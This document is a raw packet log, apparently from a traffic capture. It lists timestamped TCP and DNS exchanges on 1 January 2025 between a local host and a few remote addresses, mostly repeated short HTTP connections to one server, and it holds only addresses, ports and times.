Jan 1, 2025 16:02:20.295336008 CET	443	49779	34.117.59.81	192.168.2.6
Jan 1, 2025 16:02:20.395556927 CET	80	49778	104.21.38.84	192.168.2.6
Jan 1, 2025 16:02:20.395665884 CET	49778	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:02:20.415256977 CET	62426	53	192.168.2.6	1.1.1.1
Jan 1, 2025 16:02:20.421205044 CET	53	62426	1.1.1.1	192.168.2.6
Jan 1, 2025 16:02:20.421308041 CET	62426	53	192.168.2.6	1.1.1.1
Jan 1, 2025 16:02:20.427697897 CET	53	62426	1.1.1.1	192.168.2.6
Jan 1, 2025 16:02:20.445864916 CET	62429	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:02:20.450712919 CET	80	62429	104.21.38.84	192.168.2.6
Jan 1, 2025 16:02:20.450995922 CET	62429	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:02:20.450995922 CET	62429	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:02:20.455763102 CET	80	62429	104.21.38.84	192.168.2.6
Jan 1, 2025 16:02:20.598762035 CET	49780	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:02:20.603676081 CET	80	49780	104.21.38.84	192.168.2.6
Jan 1, 2025 16:02:20.603687048 CET	80	49780	104.21.38.84	192.168.2.6
Jan 1, 2025 16:02:20.603780985 CET	80	49780	104.21.38.84	192.168.2.6
Jan 1, 2025 16:02:20.603790998 CET	80	49780	104.21.38.84	192.168.2.6
Jan 1, 2025 16:02:20.603796959 CET	49780	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:02:20.603800058 CET	80	49780	104.21.38.84	192.168.2.6
Jan 1, 2025 16:02:20.603809118 CET	80	49780	104.21.38.84	192.168.2.6
Jan 1, 2025 16:02:20.603825092 CET	80	49780	104.21.38.84	192.168.2.6
Jan 1, 2025 16:02:20.603828907 CET	80	49780	104.21.38.84	192.168.2.6
Jan 1, 2025 16:02:20.603848934 CET	49780	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:02:20.603921890 CET	49780	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:02:20.603977919 CET	80	49780	104.21.38.84	192.168.2.6
Jan 1, 2025 16:02:20.603986979 CET	80	49780	104.21.38.84	192.168.2.6
Jan 1, 2025 16:02:20.604046106 CET	49780	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:02:20.608587027 CET	80	49780	104.21.38.84	192.168.2.6
Jan 1, 2025 16:02:20.608597040 CET	80	49780	104.21.38.84	192.168.2.6
Jan 1, 2025 16:02:20.608750105 CET	80	49780	104.21.38.84	192.168.2.6
Jan 1, 2025 16:02:20.608758926 CET	80	49780	104.21.38.84	192.168.2.6
Jan 1, 2025 16:02:20.608778000 CET	49780	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:02:20.608778954 CET	80	49780	104.21.38.84	192.168.2.6
Jan 1, 2025 16:02:20.608808994 CET	49780	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:02:20.608810902 CET	80	49780	104.21.38.84	192.168.2.6
Jan 1, 2025 16:02:20.608836889 CET	49780	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:02:20.608907938 CET	80	49780	104.21.38.84	192.168.2.6
Jan 1, 2025 16:02:20.608939886 CET	49780	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:02:20.608989000 CET	80	49780	104.21.38.84	192.168.2.6
Jan 1, 2025 16:02:20.609020948 CET	49780	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:02:20.609102011 CET	80	49780	104.21.38.84	192.168.2.6
Jan 1, 2025 16:02:20.609111071 CET	80	49780	104.21.38.84	192.168.2.6
Jan 1, 2025 16:02:20.609118938 CET	80	49780	104.21.38.84	192.168.2.6
Jan 1, 2025 16:02:20.609133005 CET	49780	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:02:20.609183073 CET	80	49780	104.21.38.84	192.168.2.6
Jan 1, 2025 16:02:20.609191895 CET	80	49780	104.21.38.84	192.168.2.6
Jan 1, 2025 16:02:20.609195948 CET	49780	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:02:20.609349012 CET	49780	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:02:20.613835096 CET	80	49780	104.21.38.84	192.168.2.6
Jan 1, 2025 16:02:20.613919973 CET	80	49780	104.21.38.84	192.168.2.6
Jan 1, 2025 16:02:20.613929987 CET	80	49780	104.21.38.84	192.168.2.6
Jan 1, 2025 16:02:20.613977909 CET	49780	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:02:20.614006042 CET	80	49780	104.21.38.84	192.168.2.6
Jan 1, 2025 16:02:20.614044905 CET	49780	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:02:20.614113092 CET	80	49780	104.21.38.84	192.168.2.6
Jan 1, 2025 16:02:20.614115000 CET	49780	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:02:20.614121914 CET	80	49780	104.21.38.84	192.168.2.6
Jan 1, 2025 16:02:20.614125967 CET	80	49780	104.21.38.84	192.168.2.6
Jan 1, 2025 16:02:20.614135027 CET	80	49780	104.21.38.84	192.168.2.6
Jan 1, 2025 16:02:20.614142895 CET	80	49780	104.21.38.84	192.168.2.6
Jan 1, 2025 16:02:20.614208937 CET	49780	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:02:20.614243031 CET	80	49780	104.21.38.84	192.168.2.6
Jan 1, 2025 16:02:20.614252090 CET	80	49780	104.21.38.84	192.168.2.6
Jan 1, 2025 16:02:20.614259958 CET	80	49780	104.21.38.84	192.168.2.6
Jan 1, 2025 16:02:20.614269018 CET	80	49780	104.21.38.84	192.168.2.6
Jan 1, 2025 16:02:20.614284039 CET	80	49780	104.21.38.84	192.168.2.6
Jan 1, 2025 16:02:20.614293098 CET	80	49780	104.21.38.84	192.168.2.6
Jan 1, 2025 16:02:20.614315987 CET	49780	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:02:20.614321947 CET	80	49780	104.21.38.84	192.168.2.6
Jan 1, 2025 16:02:20.614331007 CET	80	49780	104.21.38.84	192.168.2.6
Jan 1, 2025 16:02:20.614346027 CET	80	49780	104.21.38.84	192.168.2.6
Jan 1, 2025 16:02:20.614425898 CET	80	49780	104.21.38.84	192.168.2.6
Jan 1, 2025 16:02:20.614496946 CET	80	49780	104.21.38.84	192.168.2.6
Jan 1, 2025 16:02:20.614507914 CET	80	49780	104.21.38.84	192.168.2.6
Jan 1, 2025 16:02:20.614525080 CET	80	49780	104.21.38.84	192.168.2.6
Jan 1, 2025 16:02:20.618906021 CET	80	49780	104.21.38.84	192.168.2.6
Jan 1, 2025 16:02:20.618916035 CET	80	49780	104.21.38.84	192.168.2.6
Jan 1, 2025 16:02:20.618962049 CET	80	49780	104.21.38.84	192.168.2.6
Jan 1, 2025 16:02:20.618971109 CET	80	49780	104.21.38.84	192.168.2.6
Jan 1, 2025 16:02:20.619066954 CET	80	49780	104.21.38.84	192.168.2.6
Jan 1, 2025 16:02:20.619076014 CET	80	49780	104.21.38.84	192.168.2.6
Jan 1, 2025 16:02:20.619151115 CET	80	49780	104.21.38.84	192.168.2.6
Jan 1, 2025 16:02:20.619159937 CET	80	49780	104.21.38.84	192.168.2.6
Jan 1, 2025 16:02:20.619189024 CET	80	49780	104.21.38.84	192.168.2.6
Jan 1, 2025 16:02:20.619256973 CET	80	49780	104.21.38.84	192.168.2.6
Jan 1, 2025 16:02:20.619277954 CET	80	49780	104.21.38.84	192.168.2.6
Jan 1, 2025 16:02:20.619293928 CET	80	49780	104.21.38.84	192.168.2.6
Jan 1, 2025 16:02:20.619381905 CET	80	49780	104.21.38.84	192.168.2.6
Jan 1, 2025 16:02:20.619399071 CET	80	49780	104.21.38.84	192.168.2.6
Jan 1, 2025 16:02:20.619421005 CET	80	49780	104.21.38.84	192.168.2.6
Jan 1, 2025 16:02:20.619457960 CET	80	49780	104.21.38.84	192.168.2.6
Jan 1, 2025 16:02:20.619501114 CET	80	49780	104.21.38.84	192.168.2.6
Jan 1, 2025 16:02:20.619510889 CET	80	49780	104.21.38.84	192.168.2.6
Jan 1, 2025 16:02:20.619602919 CET	80	49780	104.21.38.84	192.168.2.6
Jan 1, 2025 16:02:20.619611979 CET	80	49780	104.21.38.84	192.168.2.6
Jan 1, 2025 16:02:20.619637966 CET	80	49780	104.21.38.84	192.168.2.6
Jan 1, 2025 16:02:20.619647026 CET	80	49780	104.21.38.84	192.168.2.6
Jan 1, 2025 16:02:20.619667053 CET	80	49780	104.21.38.84	192.168.2.6
Jan 1, 2025 16:02:20.619676113 CET	80	49780	104.21.38.84	192.168.2.6
Jan 1, 2025 16:02:20.619780064 CET	80	49780	104.21.38.84	192.168.2.6
Jan 1, 2025 16:02:20.619788885 CET	80	49780	104.21.38.84	192.168.2.6
Jan 1, 2025 16:02:20.619904041 CET	80	49780	104.21.38.84	192.168.2.6
Jan 1, 2025 16:02:20.619913101 CET	80	49780	104.21.38.84	192.168.2.6
Jan 1, 2025 16:02:20.619921923 CET	80	49780	104.21.38.84	192.168.2.6
Jan 1, 2025 16:02:20.619930029 CET	80	49780	104.21.38.84	192.168.2.6
Jan 1, 2025 16:02:20.619937897 CET	80	49780	104.21.38.84	192.168.2.6
Jan 1, 2025 16:02:20.619946957 CET	80	49780	104.21.38.84	192.168.2.6
Jan 1, 2025 16:02:20.619956970 CET	80	49780	104.21.38.84	192.168.2.6
Jan 1, 2025 16:02:20.619992971 CET	80	49780	104.21.38.84	192.168.2.6
Jan 1, 2025 16:02:20.620002031 CET	80	49780	104.21.38.84	192.168.2.6
Jan 1, 2025 16:02:20.620008945 CET	80	49780	104.21.38.84	192.168.2.6
Jan 1, 2025 16:02:20.620024920 CET	80	49780	104.21.38.84	192.168.2.6
Jan 1, 2025 16:02:20.620033979 CET	80	49780	104.21.38.84	192.168.2.6
Jan 1, 2025 16:02:20.620064020 CET	80	49780	104.21.38.84	192.168.2.6
Jan 1, 2025 16:02:20.620073080 CET	80	49780	104.21.38.84	192.168.2.6
Jan 1, 2025 16:02:20.620117903 CET	80	49780	104.21.38.84	192.168.2.6
Jan 1, 2025 16:02:20.620126963 CET	80	49780	104.21.38.84	192.168.2.6
Jan 1, 2025 16:02:20.620135069 CET	80	49780	104.21.38.84	192.168.2.6
Jan 1, 2025 16:02:20.620145082 CET	80	49780	104.21.38.84	192.168.2.6
Jan 1, 2025 16:02:20.620172024 CET	80	49780	104.21.38.84	192.168.2.6
Jan 1, 2025 16:02:20.620183945 CET	80	49780	104.21.38.84	192.168.2.6
Jan 1, 2025 16:02:20.620192051 CET	80	49780	104.21.38.84	192.168.2.6
Jan 1, 2025 16:02:20.620237112 CET	80	49780	104.21.38.84	192.168.2.6
Jan 1, 2025 16:02:20.620245934 CET	80	49780	104.21.38.84	192.168.2.6
Jan 1, 2025 16:02:20.620275021 CET	80	49780	104.21.38.84	192.168.2.6
Jan 1, 2025 16:02:20.620285034 CET	80	49780	104.21.38.84	192.168.2.6
Jan 1, 2025 16:02:20.620300055 CET	80	49780	104.21.38.84	192.168.2.6
Jan 1, 2025 16:02:20.694576025 CET	80	49780	104.21.38.84	192.168.2.6
Jan 1, 2025 16:02:20.718241930 CET	443	49779	34.117.59.81	192.168.2.6
Jan 1, 2025 16:02:20.718341112 CET	49779	443	192.168.2.6	34.117.59.81
Jan 1, 2025 16:02:20.718341112 CET	49779	443	192.168.2.6	34.117.59.81
Jan 1, 2025 16:02:20.718355894 CET	443	49779	34.117.59.81	192.168.2.6
Jan 1, 2025 16:02:20.718415976 CET	49779	443	192.168.2.6	34.117.59.81
Jan 1, 2025 16:02:20.769943953 CET	49780	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:02:20.797820091 CET	62429	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:02:20.802588940 CET	80	62429	104.21.38.84	192.168.2.6
Jan 1, 2025 16:02:20.895581961 CET	80	62429	104.21.38.84	192.168.2.6
Jan 1, 2025 16:02:20.898344994 CET	62426	53	192.168.2.6	1.1.1.1
Jan 1, 2025 16:02:20.903304100 CET	53	62426	1.1.1.1	192.168.2.6
Jan 1, 2025 16:02:20.903467894 CET	62426	53	192.168.2.6	1.1.1.1
Jan 1, 2025 16:02:20.969398975 CET	62429	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:02:21.156426907 CET	80	62429	104.21.38.84	192.168.2.6
Jan 1, 2025 16:02:21.360152006 CET	62429	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:02:21.646523952 CET	62429	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:02:21.651490927 CET	80	62429	104.21.38.84	192.168.2.6
Jan 1, 2025 16:02:21.651556015 CET	62429	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:02:21.652316093 CET	62436	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:02:21.657152891 CET	80	62436	104.21.38.84	192.168.2.6
Jan 1, 2025 16:02:21.657213926 CET	62436	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:02:21.662587881 CET	62436	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:02:21.665632010 CET	80	49780	104.21.38.84	192.168.2.6
Jan 1, 2025 16:02:21.667419910 CET	80	62436	104.21.38.84	192.168.2.6
Jan 1, 2025 16:02:21.860069036 CET	49780	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:02:22.022550106 CET	62436	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:02:22.027420998 CET	80	62436	104.21.38.84	192.168.2.6
Jan 1, 2025 16:02:22.110033035 CET	80	62436	104.21.38.84	192.168.2.6
Jan 1, 2025 16:02:22.172542095 CET	62436	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:02:22.368505001 CET	80	62436	104.21.38.84	192.168.2.6
Jan 1, 2025 16:02:22.376277924 CET	49780	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:02:22.376399994 CET	62436	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:02:22.381125927 CET	80	62436	104.21.38.84	192.168.2.6
Jan 1, 2025 16:02:22.381233931 CET	80	49780	104.21.38.84	192.168.2.6
Jan 1, 2025 16:02:22.381289005 CET	49780	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:02:22.472697973 CET	80	62436	104.21.38.84	192.168.2.6
Jan 1, 2025 16:02:22.473480940 CET	62436	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:02:22.478332043 CET	80	62436	104.21.38.84	192.168.2.6
Jan 1, 2025 16:02:22.478452921 CET	80	62436	104.21.38.84	192.168.2.6
Jan 1, 2025 16:02:22.519727945 CET	62443	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:02:22.524662018 CET	80	62443	104.21.38.84	192.168.2.6
Jan 1, 2025 16:02:22.524736881 CET	62443	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:02:22.524871111 CET	62443	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:02:22.529655933 CET	80	62443	104.21.38.84	192.168.2.6
Jan 1, 2025 16:02:22.773247004 CET	80	62436	104.21.38.84	192.168.2.6
Jan 1, 2025 16:02:22.860059023 CET	62436	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:02:22.875992060 CET	62443	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:02:22.880822897 CET	80	62443	104.21.38.84	192.168.2.6
Jan 1, 2025 16:02:22.989694118 CET	80	62443	104.21.38.84	192.168.2.6
Jan 1, 2025 16:02:23.172554970 CET	62443	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:02:23.305875063 CET	80	62443	104.21.38.84	192.168.2.6
Jan 1, 2025 16:02:23.360255003 CET	62443	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:02:23.421761036 CET	62436	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:02:23.421834946 CET	62443	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:02:23.422987938 CET	62451	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:02:23.426762104 CET	80	62436	104.21.38.84	192.168.2.6
Jan 1, 2025 16:02:23.426819086 CET	62436	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:02:23.427104950 CET	80	62443	104.21.38.84	192.168.2.6
Jan 1, 2025 16:02:23.427249908 CET	62443	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:02:23.427829981 CET	80	62451	104.21.38.84	192.168.2.6
Jan 1, 2025 16:02:23.427902937 CET	62451	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:02:23.428395033 CET	62451	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:02:23.433201075 CET	80	62451	104.21.38.84	192.168.2.6
Jan 1, 2025 16:02:23.785437107 CET	62451	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:02:23.790373087 CET	80	62451	104.21.38.84	192.168.2.6
Jan 1, 2025 16:02:23.870918989 CET	80	62451	104.21.38.84	192.168.2.6
Jan 1, 2025 16:02:23.969444990 CET	62451	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:02:24.158406973 CET	80	62451	104.21.38.84	192.168.2.6
Jan 1, 2025 16:02:24.299989939 CET	62451	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:02:24.300975084 CET	62458	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:02:24.304991961 CET	80	62451	104.21.38.84	192.168.2.6
Jan 1, 2025 16:02:24.305042028 CET	62451	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:02:24.306152105 CET	80	62458	104.21.38.84	192.168.2.6
Jan 1, 2025 16:02:24.306237936 CET	62458	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:02:24.306349993 CET	62458	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:02:24.312005043 CET	80	62458	104.21.38.84	192.168.2.6
Jan 1, 2025 16:02:24.657216072 CET	62458	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:02:24.662020922 CET	80	62458	104.21.38.84	192.168.2.6
Jan 1, 2025 16:02:24.761190891 CET	80	62458	104.21.38.84	192.168.2.6
Jan 1, 2025 16:02:24.969435930 CET	62458	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:02:24.974467993 CET	80	62458	104.21.38.84	192.168.2.6
Jan 1, 2025 16:02:24.974512100 CET	62458	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:02:25.018347979 CET	80	62458	104.21.38.84	192.168.2.6
Jan 1, 2025 16:02:25.144320965 CET	62464	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:02:25.149075031 CET	80	62464	104.21.38.84	192.168.2.6
Jan 1, 2025 16:02:25.149158001 CET	62464	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:02:25.149293900 CET	62464	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:02:25.154102087 CET	80	62464	104.21.38.84	192.168.2.6
Jan 1, 2025 16:02:25.156928062 CET	62458	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:02:25.500757933 CET	62464	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:02:25.505613089 CET	80	62464	104.21.38.84	192.168.2.6
Jan 1, 2025 16:02:25.624682903 CET	80	62464	104.21.38.84	192.168.2.6
Jan 1, 2025 16:02:25.766305923 CET	62464	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:02:25.881412983 CET	80	62464	104.21.38.84	192.168.2.6
Jan 1, 2025 16:02:25.966063976 CET	62464	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:02:26.002037048 CET	62464	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:02:26.002893925 CET	62469	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:02:26.007396936 CET	80	62464	104.21.38.84	192.168.2.6
Jan 1, 2025 16:02:26.007452011 CET	62464	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:02:26.008039951 CET	80	62469	104.21.38.84	192.168.2.6
Jan 1, 2025 16:02:26.008104086 CET	62469	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:02:26.008424997 CET	62469	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:02:26.013278008 CET	80	62469	104.21.38.84	192.168.2.6
Jan 1, 2025 16:02:26.373981953 CET	62469	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:02:26.379640102 CET	80	62469	104.21.38.84	192.168.2.6
Jan 1, 2025 16:02:26.473244905 CET	80	62469	104.21.38.84	192.168.2.6
Jan 1, 2025 16:02:26.563186884 CET	62469	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:02:26.740102053 CET	80	62469	104.21.38.84	192.168.2.6
Jan 1, 2025 16:02:26.860083103 CET	62469	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:02:26.867547035 CET	62469	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:02:26.868647099 CET	62475	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:02:26.872554064 CET	80	62469	104.21.38.84	192.168.2.6
Jan 1, 2025 16:02:26.872626066 CET	62469	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:02:26.873512983 CET	80	62475	104.21.38.84	192.168.2.6
Jan 1, 2025 16:02:26.873584032 CET	62475	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:02:26.874149084 CET	62475	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:02:26.878914118 CET	80	62475	104.21.38.84	192.168.2.6
Jan 1, 2025 16:02:27.219669104 CET	62475	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:02:27.224443913 CET	80	62475	104.21.38.84	192.168.2.6
Jan 1, 2025 16:02:27.317828894 CET	80	62475	104.21.38.84	192.168.2.6
Jan 1, 2025 16:02:27.360068083 CET	62475	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:02:27.593163967 CET	80	62475	104.21.38.84	192.168.2.6
Jan 1, 2025 16:02:27.672563076 CET	62475	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:02:27.719419003 CET	62475	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:02:27.724577904 CET	80	62475	104.21.38.84	192.168.2.6
Jan 1, 2025 16:02:27.724638939 CET	62475	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:02:27.725305080 CET	62483	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:02:27.730076075 CET	80	62483	104.21.38.84	192.168.2.6
Jan 1, 2025 16:02:27.730133057 CET	62483	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:02:27.736412048 CET	62483	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:02:27.741134882 CET	80	62483	104.21.38.84	192.168.2.6
Jan 1, 2025 16:02:27.787663937 CET	62483	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:02:27.788675070 CET	62484	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:02:27.793493986 CET	80	62484	104.21.38.84	192.168.2.6
Jan 1, 2025 16:02:27.793557882 CET	62484	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:02:27.793709993 CET	62484	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:02:27.798460960 CET	80	62484	104.21.38.84	192.168.2.6
Jan 1, 2025 16:02:27.838490009 CET	80	62483	104.21.38.84	192.168.2.6
Jan 1, 2025 16:02:27.935412884 CET	62485	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:02:27.940193892 CET	80	62485	104.21.38.84	192.168.2.6
Jan 1, 2025 16:02:27.940320969 CET	62485	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:02:27.940432072 CET	62485	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:02:27.945225954 CET	80	62485	104.21.38.84	192.168.2.6
Jan 1, 2025 16:02:28.101978064 CET	80	62483	104.21.38.84	192.168.2.6
Jan 1, 2025 16:02:28.102034092 CET	62483	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:02:28.141597033 CET	62484	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:02:28.146372080 CET	80	62484	104.21.38.84	192.168.2.6
Jan 1, 2025 16:02:28.146580935 CET	80	62484	104.21.38.84	192.168.2.6
Jan 1, 2025 16:02:28.238744020 CET	80	62484	104.21.38.84	192.168.2.6
Jan 1, 2025 16:02:28.297775030 CET	62485	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:02:28.302557945 CET	80	62485	104.21.38.84	192.168.2.6
Jan 1, 2025 16:02:28.360090971 CET	62484	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:02:28.394246101 CET	80	62485	104.21.38.84	192.168.2.6
Jan 1, 2025 16:02:28.421642065 CET	80	62484	104.21.38.84	192.168.2.6
Jan 1, 2025 16:02:28.469440937 CET	62485	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:02:28.469443083 CET	62484	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:02:28.651349068 CET	80	62485	104.21.38.84	192.168.2.6
Jan 1, 2025 16:02:28.766344070 CET	62485	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:02:28.785811901 CET	62484	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:02:28.786000967 CET	62485	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:02:28.786539078 CET	62491	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:02:28.790734053 CET	80	62484	104.21.38.84	192.168.2.6
Jan 1, 2025 16:02:28.790822029 CET	62484	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:02:28.791027069 CET	80	62485	104.21.38.84	192.168.2.6
Jan 1, 2025 16:02:28.791306973 CET	80	62491	104.21.38.84	192.168.2.6
Jan 1, 2025 16:02:28.791459084 CET	62485	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:02:28.791490078 CET	62491	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:02:28.791610003 CET	62491	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:02:28.796458006 CET	80	62491	104.21.38.84	192.168.2.6
Jan 1, 2025 16:02:29.141484022 CET	62491	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:02:29.146333933 CET	80	62491	104.21.38.84	192.168.2.6
Jan 1, 2025 16:02:29.234605074 CET	80	62491	104.21.38.84	192.168.2.6
Jan 1, 2025 16:02:29.360071898 CET	62491	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:02:29.491276026 CET	80	62491	104.21.38.84	192.168.2.6
Jan 1, 2025 16:02:29.626826048 CET	62498	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:02:29.631647110 CET	80	62498	104.21.38.84	192.168.2.6
Jan 1, 2025 16:02:29.631711006 CET	62498	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:02:29.631804943 CET	62498	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:02:29.636631012 CET	80	62498	104.21.38.84	192.168.2.6
Jan 1, 2025 16:02:29.672561884 CET	62491	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:02:29.985229969 CET	62498	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:02:29.990021944 CET	80	62498	104.21.38.84	192.168.2.6
Jan 1, 2025 16:02:30.106494904 CET	80	62498	104.21.38.84	192.168.2.6
Jan 1, 2025 16:02:30.172580957 CET	62498	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:02:30.294955969 CET	80	62498	104.21.38.84	192.168.2.6
Jan 1, 2025 16:02:30.360085964 CET	62498	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:02:30.490415096 CET	62491	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:02:30.497591972 CET	62498	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:02:30.498457909 CET	62504	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:02:30.502578974 CET	80	62498	104.21.38.84	192.168.2.6
Jan 1, 2025 16:02:30.502640009 CET	62498	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:02:30.503240108 CET	80	62504	104.21.38.84	192.168.2.6
Jan 1, 2025 16:02:30.503336906 CET	62504	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:02:30.503562927 CET	62504	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:02:30.508368015 CET	80	62504	104.21.38.84	192.168.2.6
Jan 1, 2025 16:02:30.860203028 CET	62504	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:02:30.865046024 CET	80	62504	104.21.38.84	192.168.2.6
Jan 1, 2025 16:02:30.957477093 CET	80	62504	104.21.38.84	192.168.2.6
Jan 1, 2025 16:02:31.000698090 CET	62504	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:02:31.220752001 CET	80	62504	104.21.38.84	192.168.2.6
Jan 1, 2025 16:02:31.266319036 CET	62504	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:02:31.356689930 CET	62504	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:02:31.357079029 CET	62511	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:02:31.363513947 CET	80	62504	104.21.38.84	192.168.2.6
Jan 1, 2025 16:02:31.363527060 CET	80	62511	104.21.38.84	192.168.2.6
Jan 1, 2025 16:02:31.363579035 CET	62504	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:02:31.363630056 CET	62511	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:02:31.363782883 CET	62511	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:02:31.370232105 CET	80	62511	104.21.38.84	192.168.2.6
Jan 1, 2025 16:02:31.719568014 CET	62511	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:02:31.724351883 CET	80	62511	104.21.38.84	192.168.2.6
Jan 1, 2025 16:02:31.808577061 CET	80	62511	104.21.38.84	192.168.2.6
